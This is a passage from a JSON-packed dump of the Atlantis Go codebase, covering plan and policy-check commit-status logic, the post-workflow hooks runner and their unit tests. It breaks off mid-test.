{\n\t\t\t\tWhen(projectCommandRunner.Plan(c.ProjectContexts[i])).ThenReturn(c.ProjectCommandOutput[i])\n\t\t\t}\n\n\t\t\tplanCommandRunner.Run(ctx, cmd)\n\n\t\t\tvcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), AnyInt(), AnyString(), AnyString())\n\n\t\t\tExpCommitStatus := models.SuccessCommitStatus\n\t\t\tif c.ExpVCSApplyStatusSucc != c.ExpVCSApplyStatusTotal {\n\t\t\t\tExpCommitStatus = models.PendingCommitStatus\n\t\t\t}\n\t\t\tif c.DoNotUpdateApply {\n\t\t\t\tcommitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount(\n\t\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\t\tAny[models.Repo](),\n\t\t\t\t\tAny[models.PullRequest](),\n\t\t\t\t\tAny[models.CommitStatus](),\n\t\t\t\t\tEq[command.Name](command.Apply),\n\t\t\t\t\tAnyInt(),\n\t\t\t\t\tAnyInt(),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\tcommitUpdater.VerifyWasCalledOnce().UpdateCombinedCount(\n\t\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\t\tAny[models.Repo](),\n\t\t\t\t\tAny[models.PullRequest](),\n\t\t\t\t\tEq[models.CommitStatus](ExpCommitStatus),\n\t\t\t\t\tEq[command.Name](command.Apply),\n\t\t\t\t\tEq(c.ExpVCSApplyStatusSucc),\n\t\t\t\t\tEq(c.ExpVCSApplyStatusTotal),\n\t\t\t\t)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// TestPlanCommandRunner_SilenceFlagsClearsPendingStatus tests that when silence flags are enabled\n// and no projects are found, the pending status that was set earlier is cleared.\n// This is a regression test for issue #5389 where PRs were getting stuck with pending status.\nfunc TestPlanCommandRunner_SilenceFlagsClearsPendingStatus(t *testing.T) {\n\t// Test the specific scenario from issue #5389:\n\t// When silence flags are enabled and no projects match when_modified patterns,\n\t// the pending status should be cleared instead of leaving the PR stuck.\n\n\t// This test ensures that even when ATLANTIS_SILENCE_VCS_STATUS_NO_PLANS and\n\t// ATLANTIS_SILENCE_VCS_STATUS_NO_PROJECTS are true, we still update the status\n\t// to clear any pending state that was set earlier (e.g., in command_runner.go)\n\n\tt.Run(\"silence flags with no projects should not set any status\", func(t *testing.T) {\n\t\tRegisterMockTestingT(t)\n\n\t\t_ = setup(t, func(tc *TestConfig) {\n\t\t\ttc.SilenceNoProjects = true\n\t\t\ttc.silenceVCSStatusNoProjects = true // This is the key flag\n\t\t\ttc.silenceVCSStatusNoPlans = true    // This is the key flag\n\t\t})\n\n\t\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\t\tscopeNull := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), \"atlantis\")\n\n\t\tctx := &command.Context{\n\t\t\tUser:     testdata.User,\n\t\t\tLog:      logging.NewNoopLogger(t),\n\t\t\tScope:    scopeNull,\n\t\t\tPull:     modelPull,\n\t\t\tHeadRepo: testdata.GithubRepo,\n\t\t\tTrigger:  command.AutoTrigger,\n\t\t}\n\n\t\t// Mock no projects found (simulating when_modified patterns not matching)\n\t\tWhen(projectCommandBuilder.BuildAutoplanCommands(ctx)).ThenReturn([]command.ProjectContext{}, nil)\n\n\t\t// This is the key test: when both conditions are true:\n\t\t// 1. Silence flags are enabled\n\t\t// 2. No projects are found\n\t\t// We should NOT set any VCS status at all\n\n\t\t// The plan runner is now configured with silence flags\n\t\t// When it finds no projects, it should not set any VCS status\n\t\t// because silence means no status checks at all\n\n\t\t// Run through the plan command (which will internally check for projects)\n\t\tcmd := &events.CommentCommand{Name: command.Plan}\n\t\tplanCommandRunner.Run(ctx, cmd)\n\n\t\t// CRITICAL VERIFICATION: With silence flags enabled, no status should be set at all\n\t\t// This prevents any VCS status checks from being created (issue #5389)\n\t\t// The silence flags mean \"don't create any status checks\"\n\t\tcommitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount(\n\t\t\tAny[logging.SimpleLogging](),\n\t\t\tAny[models.Repo](),\n\t\t\tAny[models.PullRequest](),\n\t\t\tAny[models.CommitStatus](),\n\t\t\tAny[command.Name](),\n\t\t\tAny[int](),\n\t\t\tAny[int](),\n\t\t)\n\t})\n}\nfunc TestPlanCommandRunner_PendingApplyStatus(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\n\tcases := []struct {\n\t\tDescription            string\n\t\tVCSType                models.VCSHostType\n\t\tPendingApplyFlag       bool\n\t\tProjectResults         []command.ProjectCommandOutput\n\t\tExpApplyStatus         models.CommitStatus\n\t\tExpVCSApplyStatusTotal int\n\t\tExpVCSApplyStatusSucc  int\n\t\tExpShouldUpdateStatus  bool\n\t}{\n\t\t{\n\t\t\tDescription:      \"GitLab with flag enabled and unapplied plans should set pending status\",\n\t\t\tVCSType:          models.Gitlab,\n\t\t\tPendingApplyFlag: true,\n\t\t\tProjectResults: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"Plan: 1 to add, 0 to change, 0 to destroy.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tExpApplyStatus:         models.PendingCommitStatus,\n\t\t\tExpVCSApplyStatusTotal: 1,\n\t\t\tExpVCSApplyStatusSucc:  0,\n\t\t\tExpShouldUpdateStatus:  true,\n\t\t},\n\t\t{\n\t\t\tDescription:      \"GitLab with flag disabled and unapplied plans should NOT update apply status\",\n\t\t\tVCSType:          models.Gitlab,\n\t\t\tPendingApplyFlag: false,\n\t\t\tProjectResults: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"Plan: 1 to add, 0 to change, 0 to destroy.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tExpShouldUpdateStatus: false,\n\t\t},\n\t\t{\n\t\t\tDescription:      \"GitHub with flag enabled should NOT update apply status (default behavior)\",\n\t\t\tVCSType:          models.Github,\n\t\t\tPendingApplyFlag: true,\n\t\t\tProjectResults: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"Plan: 1 to add, 0 to change, 0 to destroy.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tExpShouldUpdateStatus: false,\n\t\t},\n\t\t{\n\t\t\tDescription:      \"GitLab with all plans applied should set success status\",\n\t\t\tVCSType:          models.Gitlab,\n\t\t\tPendingApplyFlag: true,\n\t\t\tProjectResults: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"No changes. Infrastructure is up-to-date.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tExpApplyStatus:         models.SuccessCommitStatus,\n\t\t\tExpVCSApplyStatusTotal: 1,\n\t\t\tExpVCSApplyStatusSucc:  1,\n\t\t\tExpShouldUpdateStatus:  true,\n\t\t},\n\t\t{\n\t\t\tDescription:      \"Bitbucket with flag enabled should NOT update apply status\",\n\t\t\tVCSType:          models.BitbucketCloud,\n\t\t\tPendingApplyFlag: true,\n\t\t\tProjectResults: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"Plan: 1 to add, 0 to change, 0 to destroy.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tExpShouldUpdateStatus: false,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\ttmp := t.TempDir()\n\t\t\tdb, err := boltdb.New(tmp)\n\t\t\tt.Cleanup(func() {\n\t\t\t\tdb.Close()\n\t\t\t})\n\t\t\tOk(t, err)\n\n\t\t\t_ = setup(t, func(tc *TestConfig) {\n\t\t\t\ttc.database = db\n\t\t\t\ttc.PendingApplyStatus = c.PendingApplyFlag\n\t\t\t})\n\n\t\t\tscopeNull := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\n\t\t\t// Create repo with the appropriate VCS type\n\t\t\trepo := testdata.GithubRepo\n\t\t\trepo.VCSHost = models.VCSHost{\n\t\t\t\tType: c.VCSType,\n\t\t\t}\n\n\t\t\tmodelPull := models.PullRequest{\n\t\t\t\tBaseRepo: repo,\n\t\t\t\tState:    models.OpenPullState,\n\t\t\t\tNum:      testdata.Pull.Num,\n\t\t\t}\n\n\t\t\tcmd := &events.CommentCommand{Name: command.Plan}\n\n\t\t\tctx := &command.Context{\n\t\t\t\tUser:     testdata.User,\n\t\t\t\tLog:      logging.NewNoopLogger(t),\n\t\t\t\tScope:    scopeNull,\n\t\t\t\tPull:     modelPull,\n\t\t\t\tHeadRepo: repo,\n\t\t\t\tTrigger:  command.CommentTrigger,\n\t\t\t}\n\n\t\t\tprojectContexts := []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName: command.Plan,\n\t\t\t\t\tRepoRelDir:  \"mydir\",\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tWhen(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).ThenReturn(projectContexts, nil)\n\t\t\tWhen(projectCommandRunner.Plan(projectContexts[0])).ThenReturn(c.ProjectResults[0])\n\n\t\t\tplanCommandRunner.Run(ctx, cmd)\n\n\t\t\t// Verify based on whether we expect a status update\n\t\t\tif c.ExpShouldUpdateStatus {\n\t\t\t\tcommitUpdater.VerifyWasCalledOnce().UpdateCombinedCount(\n\t\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\t\tAny[models.Repo](),\n\t\t\t\t\tAny[models.PullRequest](),\n\t\t\t\t\tEq[models.CommitStatus](c.ExpApplyStatus),\n\t\t\t\t\tEq[command.Name](command.Apply),\n\t\t\t\t\tEq(c.ExpVCSApplyStatusSucc),\n\t\t\t\t\tEq(c.ExpVCSApplyStatusTotal),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\t// Verify that UpdateCombinedCount was NOT called for Apply command\n\t\t\t\tcommitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount(\n\t\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\t\tAny[models.Repo](),\n\t\t\t\t\tAny[models.PullRequest](),\n\t\t\t\t\tAny[models.CommitStatus](),\n\t\t\t\t\tEq[command.Name](command.Apply),\n\t\t\t\t\tAny[int](),\n\t\t\t\t\tAny[int](),\n\t\t\t\t)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/policy_check_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\nfunc NewPolicyCheckCommandRunner(\n\tdbUpdater *DBUpdater,\n\tpullUpdater *PullUpdater,\n\tcommitStatusUpdater CommitStatusUpdater,\n\tprojectCommandRunner ProjectPolicyCheckCommandRunner,\n\tparallelPoolSize int,\n\tsilenceVCSStatusNoProjects bool,\n\tquietPolicyChecks bool,\n) *PolicyCheckCommandRunner {\n\treturn &PolicyCheckCommandRunner{\n\t\tdbUpdater:                  dbUpdater,\n\t\tpullUpdater:                pullUpdater,\n\t\tcommitStatusUpdater:        commitStatusUpdater,\n\t\tprjCmdRunner:               projectCommandRunner,\n\t\tparallelPoolSize:           parallelPoolSize,\n\t\tsilenceVCSStatusNoProjects: silenceVCSStatusNoProjects,\n\t\tquietPolicyChecks:          quietPolicyChecks,\n\t}\n}\n\ntype PolicyCheckCommandRunner struct {\n\tdbUpdater           *DBUpdater\n\tpullUpdater         *PullUpdater\n\tcommitStatusUpdater CommitStatusUpdater\n\tprjCmdRunner        ProjectPolicyCheckCommandRunner\n\tparallelPoolSize    int\n\t// SilenceVCSStatusNoProjects is whether any plan should set commit status if no projects\n\t// are found\n\tsilenceVCSStatusNoProjects bool\n\tquietPolicyChecks          bool\n}\n\nfunc (p *PolicyCheckCommandRunner) Run(ctx *command.Context, cmds []command.ProjectContext) {\n\tif len(cmds) == 0 {\n\t\tctx.Log.Info(\"no projects to run policy_check in\")\n\t\tif !p.silenceVCSStatusNoProjects {\n\t\t\t// If there were no projects modified, we set successful commit statuses\n\t\t\t// with 0/0 projects policy_checked successfully because some users require\n\t\t\t// the Atlantis status to be passing for all pull requests.\n\t\t\tctx.Log.Debug(\"setting VCS status to success with no projects found\")\n\t\t\tif err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t\t}\n\t\t}\n\t\treturn\n\t}\n\n\t// So set policy_check commit status to pending\n\tif err := p.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.PolicyCheck); err != nil {\n\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t}\n\n\tvar result command.Result\n\tif p.isParallelEnabled(cmds) {\n\t\tctx.Log.Info(\"Running policy_checks in parallel\")\n\t\tresult = runProjectCmdsParallel(cmds, p.prjCmdRunner.PolicyCheck, p.parallelPoolSize)\n\t} else {\n\t\tresult = runProjectCmds(cmds, p.prjCmdRunner.PolicyCheck)\n\t}\n\n\t// Quiet policy checks unless there's an error\n\tif result.HasErrors() || !p.quietPolicyChecks {\n\t\tp.pullUpdater.updatePull(ctx, PolicyCheckCommand{}, result)\n\t}\n\n\tpullStatus, err := p.dbUpdater.updateDB(ctx, ctx.Pull, result.ProjectResults)\n\tif err != nil {\n\t\tctx.Log.Err(\"writing results: %s\", err)\n\t}\n\n\tp.updateCommitStatus(ctx, pullStatus)\n}\n\nfunc (p *PolicyCheckCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus) {\n\tvar numSuccess int\n\tvar numErrored int\n\tstatus := models.SuccessCommitStatus\n\n\tnumSuccess = pullStatus.StatusCount(models.PassedPolicyCheckStatus)\n\tnumErrored = pullStatus.StatusCount(models.ErroredPolicyCheckStatus)\n\n\tif numErrored > 0 {\n\t\tstatus = models.FailedCommitStatus\n\t}\n\n\tif err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, status, command.PolicyCheck, numSuccess, len(pullStatus.Projects)); err != nil {\n\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t}\n}\n\nfunc (p *PolicyCheckCommandRunner) isParallelEnabled(cmds []command.ProjectContext) bool {\n\treturn len(cmds) > 0 && cmds[0].ParallelPolicyCheckEnabled\n}\n"
  },
  {
    "path": "server/events/post_workflow_hooks_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/google/uuid\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_post_workflow_hook_url_generator.go PostWorkflowHookURLGenerator\n\n// PostWorkflowHookURLGenerator generates urls to view the post workflow progress.\ntype PostWorkflowHookURLGenerator interface {\n\tGenerateProjectWorkflowHookURL(hookID string) (string, error)\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_post_workflows_hooks_command_runner.go PostWorkflowHooksCommandRunner\n\ntype PostWorkflowHooksCommandRunner interface {\n\tRunPostHooks(ctx *command.Context, cmd *CommentCommand) error\n}\n\n// DefaultPostWorkflowHooksCommandRunner is the first step when processing a workflow hook commands.\ntype DefaultPostWorkflowHooksCommandRunner struct {\n\tVCSClient              vcs.Client                     `validate:\"required\"`\n\tWorkingDirLocker       WorkingDirLocker               `validate:\"required\"`\n\tWorkingDir             WorkingDir                     `validate:\"required\"`\n\tGlobalCfg              valid.GlobalCfg                `validate:\"required\"`\n\tPostWorkflowHookRunner runtime.PostWorkflowHookRunner `validate:\"required\"`\n\tCommitStatusUpdater    CommitStatusUpdater            `validate:\"required\"`\n\tRouter                 PostWorkflowHookURLGenerator   `validate:\"required\"`\n}\n\n// RunPostHooks runs post_workflow_hooks after a plan/apply has completed\nfunc (w *DefaultPostWorkflowHooksCommandRunner) RunPostHooks(ctx *command.Context, cmd *CommentCommand) error {\n\tpostWorkflowHooks := make([]*valid.WorkflowHook, 0)\n\tfor _, repo := range w.GlobalCfg.Repos {\n\t\tif repo.IDMatches(ctx.Pull.BaseRepo.ID()) && repo.BranchMatches(ctx.Pull.BaseBranch) && len(repo.PostWorkflowHooks) > 0 {\n\t\t\tpostWorkflowHooks = append(postWorkflowHooks, repo.PostWorkflowHooks...)\n\t\t}\n\t}\n\n\t// short circuit any other calls if there are no post-hooks configured\n\tif len(postWorkflowHooks) == 0 {\n\t\treturn nil\n\t}\n\n\tctx.Log.Info(\"Post-workflow hooks configured, running...\")\n\n\tunlockFn, err := w.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, DefaultWorkspace, DefaultRepoRelDir, \"\", cmd.Name)\n\tif err != nil {\n\t\treturn err\n\t}\n\tctx.Log.Debug(\"got workspace lock\")\n\tdefer unlockFn()\n\n\trepoDir, err := w.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar escapedArgs []string\n\tif cmd != nil {\n\t\tescapedArgs = escapeArgs(cmd.Flags)\n\t}\n\n\terr = w.runHooks(\n\t\tmodels.WorkflowHookCommandContext{\n\t\t\tBaseRepo:           ctx.Pull.BaseRepo,\n\t\t\tHeadRepo:           ctx.HeadRepo,\n\t\t\tLog:                ctx.Log,\n\t\t\tPull:               ctx.Pull,\n\t\t\tUser:               ctx.User,\n\t\t\tVerbose:            false,\n\t\t\tEscapedCommentArgs: escapedArgs,\n\t\t\tCommandName:        cmd.Name.String(),\n\t\t\tCommandHasErrors:   ctx.CommandHasErrors,\n\t\t\tAPI:                ctx.API,\n\t\t},\n\t\tpostWorkflowHooks, repoDir)\n\n\tif err != nil {\n\t\tctx.Log.Err(\"Error running post-workflow hooks %s.\", err)\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (w *DefaultPostWorkflowHooksCommandRunner) runHooks(\n\tctx models.WorkflowHookCommandContext,\n\tpostWorkflowHooks []*valid.WorkflowHook,\n\trepoDir string,\n) error {\n\n\tfor i, hook := range postWorkflowHooks {\n\t\tctx.HookDescription = hook.StepDescription\n\t\tif ctx.HookDescription == \"\" {\n\t\t\tctx.HookDescription = fmt.Sprintf(\"Post workflow hook #%d\", i)\n\t\t}\n\n\t\tctx.HookStepName = fmt.Sprintf(\"post %s #%d\", ctx.CommandName, i)\n\n\t\tctx.Log.Debug(\"Processing post workflow hook '%s', Command '%s', Target commands [%s]\",\n\t\t\tctx.HookDescription, ctx.CommandName, hook.Commands)\n\t\tif hook.Commands != \"\" && !strings.Contains(hook.Commands, ctx.CommandName) {\n\t\t\tctx.Log.Debug(\"Skipping post workflow hook '%s' as command '%s' is not in Commands [%s]\",\n\t\t\t\tctx.HookDescription, ctx.CommandName, hook.Commands)\n\t\t\tcontinue\n\t\t}\n\n\t\tctx.Log.Debug(\"Running post workflow hook: '%s'\", ctx.HookDescription)\n\t\tctx.HookID = uuid.NewString()\n\t\tshell := hook.Shell\n\t\tif shell == \"\" {\n\t\t\tctx.Log.Debug(\"Setting shell to default: '%s'\", shell)\n\t\t\tshell = \"sh\"\n\t\t}\n\t\tshellArgs := hook.ShellArgs\n\t\tif shellArgs == \"\" {\n\t\t\tctx.Log.Debug(\"Setting shellArgs to default: '%s'\", shellArgs)\n\t\t\tshellArgs = \"-c\"\n\t\t}\n\t\turl, err := w.Router.GenerateProjectWorkflowHookURL(ctx.HookID)\n\t\tif err != nil && !ctx.API {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := w.CommitStatusUpdater.UpdatePostWorkflowHook(ctx.Log, ctx.Pull, models.PendingCommitStatus, ctx.HookDescription, \"\", url); err != nil {\n\t\t\tctx.Log.Warn(\"unable to update post workflow hook status: %s\", err)\n\t\t}\n\n\t\t_, runtimeDesc, err := w.PostWorkflowHookRunner.Run(ctx, hook.RunCommand, shell, shellArgs, repoDir)\n\n\t\tif err != nil {\n\t\t\tif err := w.CommitStatusUpdater.UpdatePostWorkflowHook(ctx.Log, ctx.Pull, models.FailedCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update post workflow hook status: %s\", err)\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\n\t\tif err := w.CommitStatusUpdater.UpdatePostWorkflowHook(ctx.Log, ctx.Pull, models.SuccessCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil {\n\t\t\tctx.Log.Warn(\"unable to update post workflow hook status: %s\", err)\n\t\t}\n\t}\n\n\tctx.Log.Info(\"Post-workflow hooks completed\")\n\n\treturn nil\n}\n"
  },
  {
    "path": "server/events/post_workflow_hooks_command_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"testing\"\n\n\t\"github.com/google/uuid\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\truntime_mocks \"github.com/runatlantis/atlantis/server/core/runtime/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/models/testdata\"\n\tvcsmocks \"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\ntype WorkflowHookCommandContextMatcher struct {\n\texpected models.WorkflowHookCommandContext\n}\n\nfunc (m WorkflowHookCommandContextMatcher) Matches(param Param) bool {\n\tactual, ok := param.(models.WorkflowHookCommandContext)\n\tif !ok {\n\t\treturn false\n\t}\n\n\tif err := uuid.Validate(actual.HookID); err != nil {\n\t\treturn false\n\t}\n\n\tactual.HookID = \"\"\n\tm.expected.HookID = \"\"\n\treturn reflect.DeepEqual(m.expected, actual)\n}\n\nfunc (m WorkflowHookCommandContextMatcher) String() string {\n\treturn fmt.Sprintf(\"WorkflowHookCommandContex(%#v)\", m.expected)\n}\n\nvar postWh events.DefaultPostWorkflowHooksCommandRunner\nvar postWhWorkingDir *mocks.MockWorkingDir\nvar postWhWorkingDirLocker *mocks.MockWorkingDirLocker\nvar whPostWorkflowHookRunner *runtime_mocks.MockPostWorkflowHookRunner\nvar postCommitStatusUpdater *mocks.MockCommitStatusUpdater\n\nfunc postWorkflowHooksSetup(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tvcsClient := vcsmocks.NewMockClient()\n\tpostWhWorkingDir = mocks.NewMockWorkingDir()\n\tpostWhWorkingDirLocker = mocks.NewMockWorkingDirLocker()\n\twhPostWorkflowHookRunner = runtime_mocks.NewMockPostWorkflowHookRunner()\n\tpostCommitStatusUpdater = mocks.NewMockCommitStatusUpdater()\n\tpostWorkflowHookURLGenerator := mocks.NewMockPostWorkflowHookURLGenerator()\n\n\tpostWh = events.DefaultPostWorkflowHooksCommandRunner{\n\t\tVCSClient:              vcsClient,\n\t\tWorkingDirLocker:       postWhWorkingDirLocker,\n\t\tWorkingDir:             postWhWorkingDir,\n\t\tPostWorkflowHookRunner: whPostWorkflowHookRunner,\n\t\tCommitStatusUpdater:    postCommitStatusUpdater,\n\t\tRouter:                 postWorkflowHookURLGenerator,\n\t}\n}\n\nfunc TestRunPostHooks_Clone(t *testing.T) {\n\n\tlog := logging.NewNoopLogger(t)\n\n\tvar newPull = testdata.Pull\n\tnewPull.BaseRepo = testdata.GithubRepo\n\n\tctx := &command.Context{\n\t\tPull:     newPull,\n\t\tHeadRepo: testdata.GithubRepo,\n\t\tUser:     testdata.User,\n\t\tLog:      log,\n\t}\n\n\tdefaultShell := \"sh\"\n\tdefaultShellArgs := \"-c\"\n\n\ttestHook := valid.WorkflowHook{\n\t\tStepName:   \"test\",\n\t\tRunCommand: \"some command\",\n\t}\n\n\ttestHookWithShell := valid.WorkflowHook{\n\t\tStepName:   \"test1\",\n\t\tRunCommand: \"echo test1\",\n\t\tShell:      \"bash\",\n\t}\n\n\ttestHookWithShellArgs := valid.WorkflowHook{\n\t\tStepName:   \"test2\",\n\t\tRunCommand: \"echo test2\",\n\t\tShellArgs:  \"-ce\",\n\t}\n\n\ttestHookWithShellandShellArgs := valid.WorkflowHook{\n\t\tStepName:   \"test3\",\n\t\tRunCommand: \"echo test3\",\n\t\tShell:      \"bash\",\n\t\tShellArgs:  \"-ce\",\n\t}\n\n\ttestHookWithPlanCommand := valid.WorkflowHook{\n\t\tStepName:   \"test4\",\n\t\tRunCommand: \"echo test4\",\n\t\tCommands:   \"plan\",\n\t}\n\n\ttestHookWithPlanApplyCommands := valid.WorkflowHook{\n\t\tStepName:   \"test5\",\n\t\tRunCommand: \"echo test5\",\n\t\tCommands:   \"plan, apply\",\n\t}\n\n\trepoDir := \"path/to/repo\"\n\tresult := \"some result\"\n\truntimeDesc := \"\"\n\n\tpCtx := models.WorkflowHookCommandContext{\n\t\tBaseRepo:    testdata.GithubRepo,\n\t\tHeadRepo:    testdata.GithubRepo,\n\t\tPull:        newPull,\n\t\tLog:         log,\n\t\tUser:        testdata.User,\n\t\tVerbose:     false,\n\t\tHookID:      uuid.NewString(),\n\t\tCommandName: \"plan\",\n\t}\n\n\tplanCmd := &events.CommentCommand{\n\t\tName: command.Plan,\n\t}\n\n\tapplyCmd := &events.CommentCommand{\n\t\tName: command.Apply,\n\t}\n\n\tt.Run(\"success hooks in cfg\", func(t *testing.T) {\n\t\tpostWorkflowHooksSetup(t)\n\n\t\tunlockCalled := newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPostWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpostWh.GlobalCfg = globalCfg\n\n\t\tWhen(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](),\n\t\t\tAny[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := postWh.RunPostHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\tt.Run(\"success hooks in cfg, check context with failed command\", func(t *testing.T) {\n\t\tpostWorkflowHooksSetup(t)\n\n\t\tunlockCalled := newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPostWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpostWh.GlobalCfg = globalCfg\n\t\tctx.CommandHasErrors = true\n\n\t\texpectedCtx := pCtx\n\t\texpectedCtx.CommandHasErrors = true\n\t\texpectedCtx.HookStepName = \"post plan #0\"\n\t\texpectedCtx.HookDescription = \"Post workflow hook #0\"\n\n\t\tWhen(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPostWorkflowHookRunner.Run(\n\t\t\tArgThat[models.WorkflowHookCommandContext](WorkflowHookCommandContextMatcher{expected: 